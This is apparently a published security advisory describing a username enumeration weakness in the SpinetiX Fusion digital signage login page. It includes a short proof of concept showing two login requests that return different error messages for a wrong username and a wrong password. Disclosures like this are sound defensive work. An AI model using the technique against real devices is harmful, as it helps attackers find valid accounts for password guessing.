SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration Weakness  
Vendor: SpinetiX AG  
Product web page:  
Affected version: <= 3.4.8 (1.0.36274)  
Summary: At SpinetiX we inspire businesses to unlock the potential of their story.  
We believe in the power of digital signage as a dynamic new storytelling platform  
to engage with people. For more than 13 years, we have been constantly innovating  
to deliver cutting-edge digital signage solutions that help our customers shine.  
Fusion is a built-in content management application accessible from a standard web  
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does  
not require any additional license, cost, or software installation.  
Desc: The weakness is caused due to the login script and how it verifies provided  
credentials. Attacker can use this weakness to enumerate valid users on the affected  
Tested on: Apache 2.2.34  
Linux 2.6.10  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2020-5591  
Advisory URL:  
POST /fusion/index.php?r=users/login HTTP/1.1  
Response: Username is incorrect.  
HTML: <div class="user_password login"><div class="errorLogin">Username is incorrect.</div>  
POST /fusion/index.php?r=users/login HTTP/1.1  
Response: Password is incorrect.  
HTML: <div class="user_password login"><div class="errorLogin">Password is incorrect.</div>